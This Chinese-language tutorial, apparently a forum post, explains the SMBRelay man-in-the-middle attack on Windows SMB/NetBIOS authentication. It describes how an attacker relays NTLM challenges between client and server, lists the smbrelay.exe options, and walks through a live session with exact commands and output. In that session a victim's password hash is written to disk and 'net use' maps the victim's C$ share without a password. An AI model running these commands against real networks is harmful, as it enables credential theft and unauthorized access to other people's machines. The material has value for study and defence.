事实上,为什么SMBRELAY工作的时候我们能获取到完整的机密数据,包括LN HASH,NT HASH,NT SERV-CHALL,LM CLI-CHALL?原因在于攻击者欺骗了SERV和CLI双方,担任了所有数据的转发。这个时候,就属于第2种情况,我们就能抓到CLI发送给SER的可破解HASH。 下面先简单介绍一下SMBRELAY的工作原理: 预定一下:A是攻击者,TS是SMB服务器,TC是客户机。A开始对双方进行欺骗。 1:TC企图访问TS的共享资源的时候,他先连接的是A 2:A向TS发送一个企图访问的请求 3:TS给予确认,允许连接 4:A假装成TS,发送一个允许连接的确认回应TC,而此时的A则再假装成TC,向TS询问:“would you like to talk to me as if I'm an NT 4 box without extended security?”(一种不安全的会话机制,简称 为J会话) 5:TS允许A的请求,随机产生挑战,发送给A 6:A则对TC使用J对话方式,并且发送一组挑战 6:TC随即用A发送来的挑战对当前用户名和密码进行加密,发送给A 7:A将数据转交给TS 8:TS表示验证通过 9:A断开与TC的连接,直接以TC的身份与TS会话,这时候,A就可以与TS进行IPC连接,映射硬盘,甚至获取 SHELL SMBRELAY所做的工作,就是通过NAT(Network Address Translator)或者iptables对数据进行了重定向, 并且将TS的139端口绑向TC,所以我们后来映射TS的硬盘时,实际上却是TC的硬盘。这也是运行SMBRELAY的 主机139端口不能被占用的原因。
为了更好的理解其工作流程,我们可以结合一次攻击过程来分析 先详细介绍一下SMBRELAY的用法吧 用法:SMBRELAY [选项] /D NUM --设置调试登级,可以选择0,1,2。默认是0 /E --列举本机网卡的接口,转发数据的时候,如果这里没选择好,可能什么都抓不到 /IL NUM --设定在添加本地IP地址时,使用的网卡接口号。 /IR NUM --设定在添加代理IP地址(就像使用了smbporxy的那种IP地址)时,使用的网卡接口号。默认是1 你可以使用/E参数来列举网卡的接口号。 /L[+] IP --设定要接收NetBIOS信息的本地IP地址。使用+是为了设置第一次在NIC(网络接口卡)中添加的 IP地址,默认是使用本机的当前IP地址。 /R[-] IP --设定代理IP地址的起始端。使用-是为了设置第一次在NIC(网络接口卡)中添加的IP地址,默认 是使用192.1.1.1 /S name --设定原始机器(诱饵IP)的名字,默认是CDC4EVER
下面我们就来看看SMBRELAY的某次工作流程 说明::这次攻击过程虽然只需要2台机器,实际上采用了3个IP,构成了中间人攻击的条件 关于IP地址的说明: 我的IP是11.197.248.212,可是SMBRELAY无法运行在这个IP上,因为只有禁用了139端口才能运行SMBRELAY,可是一旦139被禁用,也就无法用NET USE \\IP连接TS。11.197.248.154是一个未被使用的IP地址,我用SBRELAY 虚拟出一个SMB SERVER:11.197.248.154,测试的时候,实际上是 249(受害机器-TC)----212(攻击者-A)----154(SMB服务器-TS)
--------------------------------------------------------------------- D:\>smbrelay.exe /IL 2 /IR 2 /L+ 11.197.248.154 /R- 11.197.248.154 /*这里把代理IP指定154,所以下面映射的时候指定IP为154*/ SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2001: Sir Dystic, Cult of the Dead Cow Send complaints, ideas and donations to sirdystic@cultdeadcow.com Using local adapter index 2: PCI Bus Master Adapter Local IP address added to interface 2 Bound to port 139 on address 11.197.248.154 Connection from 12.114.28.249:1915 /*这里249向154发起请求*/ Request type: Session Request 72 bytes Source name: VODSER <00> Target name: *SMBSERVER <20> Setting target name to source name and source name to 'CDC4EVER'... Response: Positive Session Response 4 bytes
Password hash written to disk /*用户名和破解需要的3组数据被完整保留到硬盘*/
Connected? Bound to port 139 on address 11.197.248.154 relaying for host VODSER 12.114.28 .249 -------------------------------------------------------------------------------- 这里154的139端口实际上绑向249,我们已经能够与154成功建立连接,实际上是连向的249 这个时候,我们就可以不需要密码向154建立IPC连接,身份当然是249登陆用户的,如果映射154的硬盘, 实际上也是指向249, ------------------------------------------------------------- 开启另外一个CMD,输入: E:\>net use \\11.197.248.154 命令成功完成。
E:\>net use h: \\11.197.248.154\c$ 命令成功完成。 ----------------------------------------------------- 下面是SMBRELAY的显示: Connection rejected: 12.114.28.249 already connected *** Relay connection for target VODSER received from 11.197.248.212:1615 *** Sent positive session response for relay target VODSER *** Sent dialect selection response (5) for target VODSER *** Sent SMB Session setup response for relay to VODSER